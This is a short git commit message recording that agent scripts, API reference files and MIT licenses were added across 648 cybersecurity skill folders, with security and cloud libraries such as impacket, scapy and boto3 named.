mukul975 27c6414ca5 Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders
